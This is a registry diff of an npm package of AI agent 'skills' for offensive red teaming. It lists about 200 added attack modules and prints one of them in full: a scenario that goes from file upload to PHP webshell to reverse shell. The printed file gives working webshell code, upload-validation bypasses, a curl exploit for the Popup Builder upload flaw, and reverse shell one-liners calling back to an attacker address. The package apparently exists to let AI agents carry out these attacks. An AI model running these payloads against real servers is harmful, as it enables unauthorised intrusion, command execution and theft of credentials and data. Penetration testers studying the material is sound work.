rtexit-method 0.1.0 → 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (224) hide show
  1. package/package.json +9 -7
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/commands/install.js +0 -1
  202. package/tools/installer/lib/asset-manifest.js +10 -5
  203. package/tools/installer/lib/banner.js +14 -6
  204. package/tools/installer/lib/copy-assets.js +5 -2
  205. package/tools/installer/lib/prompts.js +1 -11
  206. package/tools/installer/lib/write-config.js +8 -2
  207. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  210. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  211. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  212. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  213. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  214. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  215. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  216. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  217. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  218. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  219. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  221. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  222. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  223. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  224. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,479 @@
1
+ ---
2
+ name: rt-scenario-w005
3
+ description: "W-005: File Upload → PHP Webshell → RCE → Reverse Shell. Domain: web. Attack chain: find upload endpoint → bypass extension validation → upload PHP webshell → access webshell URL → execute commands → netcat reverse shell. MITRE: T1190 → T1059.004 → T1059.001. Real example: popup-builder CVE-2024-3673: unauthenticated file upload → shell.php → OS command execution"
4
+ ---
5
+
6
+ # W-005: File Upload → PHP Webshell → RCE → Reverse Shell
7
+
8
+ ## Overview
9
+
10
+ **Attack Objective:** Gain remote code execution on the target web server by abusing an unrestricted or improperly validated file upload endpoint to deploy a PHP webshell, then pivot to a fully interactive reverse shell.
11
+
12
+ **Required Access Level:** None (unauthenticated) — depending on the target, a low-privilege account may be needed to reach the upload feature.
13
+
14
+ **Estimated Time to Execute:** 15–45 minutes (reconnaissance through shell)
15
+
16
+ **Detection Risk Level:** Medium — file upload activity and outbound shell connections are detectable, but the initial upload may blend with legitimate traffic if done carefully.
17
+
18
+ ---
19
+
20
+ ## Prerequisites
21
+
22
+ ### Required Tools
23
+
24
+ ```bash
25
+ # curl — HTTP requests and file upload
26
+ sudo apt install curl -y
27
+
28
+ # netcat (ncat or nc) — reverse shell listener
29
+ sudo apt install ncat -y # or: sudo apt install netcat-openbsd -y
30
+
31
+ # ffuf or gobuster — endpoint discovery
32
+ sudo apt install ffuf -y
33
+ # or: go install github.com/OJ/gobuster/v3@latest
34
+
35
+ # Burp Suite Community — intercept and modify requests (optional but recommended)
36
+ # Download: https://portswigger.net/burp/communitydownload
37
+
38
+ # wfuzz — alternative fuzzer for endpoint and parameter discovery
39
+ sudo apt install wfuzz -y
40
+
41
+ # php — local testing of payloads
42
+ sudo apt install php-cli -y
43
+ ```
44
+
45
+ ### Required Access or Conditions
46
+
47
+ - Network access to the target web server (HTTP/HTTPS)
48
+ - A reachable file upload endpoint (profile photo, document, import feature, plugin upload, etc.)
49
+ - The server must execute PHP (Apache/Nginx with PHP-FPM or mod_php)
50
+ - The uploaded file must be accessible via a predictable URL
51
+ - For CVE-2024-3673 (popup-builder): WordPress instance with the Popup Builder plugin <= 4.2.3 installed, no authentication required
52
+
53
+ ### Skill Level
54
+
55
+ **INTERMEDIATE** — Requires familiarity with HTTP, web application structure, Linux shell, and basic scripting.
56
+
57
+ ---
58
+
59
+ ## Attack Chain
60
+
61
+ ```
62
+ [T1190] Exploit Public-Facing Application
63
+ └── Discover upload endpoint (gobuster / manual browse / CVE recon)
64
+
65
+
66
+ [T1190] Bypass Extension / MIME Validation
67
+ └── Rename payload, spoof Content-Type, double extension, null byte
68
+
69
+
70
+ [T1059.004] Upload PHP Webshell
71
+ └── shell.php deployed to server-writable directory
72
+
73
+
74
+ [T1059.004] Access Webshell URL
75
+ └── HTTP GET/POST to /uploads/shell.php?cmd=id
76
+
77
+
78
+ [T1059.004] Execute OS Commands via Webshell
79
+ └── Enumerate user, OS, network, sensitive files
80
+
81
+
82
+ [T1059.001] Establish Netcat Reverse Shell
83
+ └── Attacker listener + mkfifo/bash one-liner → interactive shell
84
+ ```
85
+
86
+ MITRE ATT&CK mapping: **T1190 → T1059.004 → T1059.001**
87
+
88
+ ---
89
+
90
+ ## Step-by-Step Execution
91
+
92
+ ### Step 1 — Identify the Upload Endpoint
93
+
94
+ **Option A: Directory brute-force**
95
+
96
+ ```bash
97
+ ffuf -u http://TARGET/FUZZ \
98
+ -w /usr/share/wordlists/dirb/common.txt \
99
+ -e .php,.html \
100
+ -mc 200,301,302 \
101
+ -t 40 \
102
+ -o ffuf_results.json
103
+ ```
104
+
105
+ Expected output:
106
+ ```
107
+ upload [Status: 200, Size: 4321]
108
+ wp-admin/upload [Status: 302, Size: 0]
109
+ api/import [Status: 200, Size: 128]
110
+ ```
111
+
112
+ **Option B: Manual browsing**
113
+ Navigate to common locations: `/upload`, `/uploads`, `/media`, `/files`, `/wp-admin/media-new.php`, plugin-specific paths.
114
+
115
+ **Option C: CVE-targeted (popup-builder)**
116
+ ```bash
117
+ # Confirm plugin version
118
+ curl -s http://TARGET/wp-content/plugins/popup-builder/readme.txt | grep -i "Stable tag"
119
+ ```
120
+
121
+ Expected output:
122
+ ```
123
+ Stable tag: 4.2.3
124
+ ```
125
+
126
+ Fallback: If ffuf finds nothing, try authenticated upload after registering a low-privilege account, or pivot to a different attack path.
127
+
128
+ ---
129
+
130
+ ### Step 2 — Craft the PHP Webshell Payload
131
+
132
+ ```bash
133
+ # Minimal single-parameter webshell
134
+ cat > /tmp/shell.php << 'EOF'
135
+ <?php
136
+ if(isset($_REQUEST['cmd'])){
137
+ $cmd = $_REQUEST['cmd'];
138
+ echo '<pre>' . shell_exec($cmd) . '</pre>';
139
+ }
140
+ ?>
141
+ EOF
142
+ ```
143
+
144
+ For environments with disabled functions, use an alternative execution method:
145
+
146
+ ```bash
147
+ cat > /tmp/shell2.php << 'EOF'
148
+ <?php
149
+ $cmd = $_REQUEST['cmd'];
150
+ $output = [];
151
+ exec($cmd, $output);
152
+ echo implode("\n", $output);
153
+ ?>
154
+ EOF
155
+ ```
156
+
157
+ ---
158
+
159
+ ### Step 3 — Bypass Extension Validation
160
+
161
+ Try these bypass techniques in order until one succeeds:
162
+
163
+ **3a. Simple rename (no validation)**
164
+ ```bash
165
+ cp /tmp/shell.php /tmp/shell_upload.php
166
+ ```
167
+
168
+ **3b. Double extension**
169
+ ```bash
170
+ cp /tmp/shell.php /tmp/shell.php.jpg
171
+ ```
172
+ Some servers execute based on the first extension; some on the last. Test both.
173
+
174
+ **3c. Alternate PHP extensions**
175
+ ```bash
176
+ for ext in php php3 php4 php5 php7 phtml phar shtml; do
177
+ cp /tmp/shell.php /tmp/shell.$ext
178
+ done
179
+ ```
180
+
181
+ **3d. Null byte injection (older PHP < 5.3.4)**
182
+ The filename in the multipart request becomes `shell.php%00.jpg` — the server stores `shell.php`, strips null byte.
183
+
184
+ **3e. Spoof MIME type via Content-Type**
185
+ When using curl, force the content type:
186
+ ```bash
187
+ -F "file=@/tmp/shell.jpg;type=image/jpeg"
188
+ ```
189
+ while the actual file content is PHP code.
190
+
191
+ **3f. Magic bytes prepend (bypass content inspection)**
192
+ ```bash
193
+ printf '\xff\xd8\xff\xe0' | cat - /tmp/shell.php > /tmp/shell_magic.php
194
+ ```
195
+ Prepends JPEG magic bytes before PHP code; some validators check only the first bytes.
196
+
197
+ ---
198
+
199
+ ### Step 4 — Upload the Webshell
200
+
201
+ **Generic multipart upload:**
202
+ ```bash
203
+ curl -s -X POST http://TARGET/upload \
204
+ -F "file=@/tmp/shell.php;type=image/jpeg" \
205
+ -F "action=upload" \
206
+ -v 2>&1 | grep -E "(Location|filename|path|url|HTTP/)"
207
+ ```
208
+
209
+ **CVE-2024-3673 (popup-builder unauthenticated upload):**
210
+ ```bash
211
+ curl -s -X POST "http://TARGET/wp-admin/admin-ajax.php" \
212
+ -F "action=sgpb_subscribe_form_import_data" \
213
+ -F "sgpb_subscribe_import_data_file=@/tmp/shell.php;type=text/csv" \
214
+ | python3 -m json.tool
215
+ ```
216
+
217
+ Expected output:
218
+ ```json
219
+ {
220
+ "status": true,
221
+ "message": "File uploaded successfully",
222
+ "file": "/wp-content/uploads/2024/shell.php"
223
+ }
224
+ ```
225
+
226
+ Note the returned path — this is where the webshell lives.
227
+
228
+ Fallback: If the response does not include a path, guess based on common WordPress upload directories:
229
+ ```bash
230
+ YEAR=$(date +%Y); MONTH=$(date +%m)
231
+ curl -s "http://TARGET/wp-content/uploads/${YEAR}/${MONTH}/shell.php?cmd=id"
232
+ ```
233
+
234
+ ---
235
+
236
+ ### Step 5 — Verify Webshell Execution
237
+
238
+ ```bash
239
+ curl -s "http://TARGET/wp-content/uploads/$(date +%Y/%m)/shell.php?cmd=id"
240
+ ```
241
+
242
+ Expected output:
243
+ ```
244
+ uid=33(www-data) gid=33(www-data) groups=33(www-data)
245
+ ```
246
+
247
+ Basic enumeration commands:
248
+ ```bash
249
+ # OS info
250
+ curl -s "http://TARGET/path/shell.php" --data-urlencode "cmd=uname -a"
251
+
252
+ # Current directory
253
+ curl -s "http://TARGET/path/shell.php" --data-urlencode "cmd=pwd"
254
+
255
+ # Network interfaces
256
+ curl -s "http://TARGET/path/shell.php" --data-urlencode "cmd=ip a"
257
+
258
+ # Writable directories
259
+ curl -s "http://TARGET/path/shell.php" --data-urlencode "cmd=find / -writable -type d 2>/dev/null | head -20"
260
+
261
+ # Sensitive files
262
+ curl -s "http://TARGET/path/shell.php" --data-urlencode "cmd=cat /etc/passwd"
263
+ curl -s "http://TARGET/path/shell.php" --data-urlencode "cmd=find / -name wp-config.php 2>/dev/null"
264
+ ```
265
+
266
+ Fallback: If `shell_exec` is disabled, try `system()`, `passthru()`, or `proc_open()` variants in Step 2.
267
+
268
+ ---
269
+
270
+ ### Step 6 — Establish Netcat Reverse Shell
271
+
272
+ **On attacker machine — start listener:**
273
+ ```bash
274
+ LPORT=4444
275
+ ncat -lvnp $LPORT
276
+ ```
277
+
278
+ Expected output:
279
+ ```
280
+ Ncat: Version 7.93 ( https://nmap.org/ncat )
281
+ Ncat: Listening on :::4444
282
+ Ncat: Listening on 0.0.0.0:4444
283
+ ```
284
+
285
+ **Trigger reverse shell via webshell (choose one):**
286
+
287
+ Option A — mkfifo (most reliable):
288
+ ```bash
289
+ LHOST=YOUR_IP
290
+ LPORT=4444
291
+ SHELL_URL="http://TARGET/path/shell.php"
292
+
293
+ curl -s "$SHELL_URL" --data-urlencode \
294
+ "cmd=rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc $LHOST $LPORT > /tmp/f"
295
+ ```
296
+
297
+ Option B — bash TCP redirect:
298
+ ```bash
299
+ curl -s "$SHELL_URL" --data-urlencode \
300
+ "cmd=bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"
301
+ ```
302
+
303
+ Option C — Python (if bash is restricted):
304
+ ```bash
305
+ curl -s "$SHELL_URL" --data-urlencode \
306
+ "cmd=python3 -c 'import socket,subprocess,os; s=socket.socket(); s.connect((\"$LHOST\",$LPORT)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call([\"/bin/sh\",\"-i\"])'"
307
+ ```
308
+
309
+ **Upgrade to fully interactive TTY (on the reverse shell):**
310
+ ```bash
311
+ python3 -c 'import pty; pty.spawn("/bin/bash")'
312
+ # Press Ctrl+Z to background
313
+ stty raw -echo; fg
314
+ # Press Enter twice
315
+ export TERM=xterm
316
+ stty rows 40 cols 170
317
+ ```
318
+
319
+ Expected output after upgrade:
320
+ ```
321
+ www-data@target:/var/www/html$
322
+ ```
323
+
324
+ Fallback: If netcat is not on the target and outbound TCP is filtered, try:
325
+ - Port 80/443 for egress (use `ncat -lvnp 443` on attacker)
326
+ - PowerShell reverse shell if Windows IIS
327
+ - curl-based polling shell using a web intermediary
328
+
329
+ ---
330
+
331
+ ## Real-World Reference
332
+
333
+ ### CVE-2024-3673 — Popup Builder Plugin (WordPress)
334
+
335
+ **Plugin:** Popup Builder by Sygnoos (versions <= 4.2.3)
336
+ **Severity:** CVSS 9.8 (Critical)
337
+ **Authentication:** None required
338
+ **Affected installations:** 200,000+ active WordPress sites at time of disclosure
339
+
340
+ **Vulnerability:** The `sgpb_subscribe_form_import_data` AJAX action accepted arbitrary file uploads without authentication and without validating the file extension or content. An attacker could POST a `.php` file disguised as a CSV import, and the server would store it in the WordPress uploads directory with its original extension intact.
341
+
342
+ **Exploitation summary:**
343
+ 1. Send unauthenticated POST to `/wp-admin/admin-ajax.php` with `action=sgpb_subscribe_form_import_data`
344
+ 2. Attach `shell.php` with `Content-Type: text/csv`
345
+ 3. Server saves `shell.php` to `/wp-content/uploads/YYYY/MM/`
346
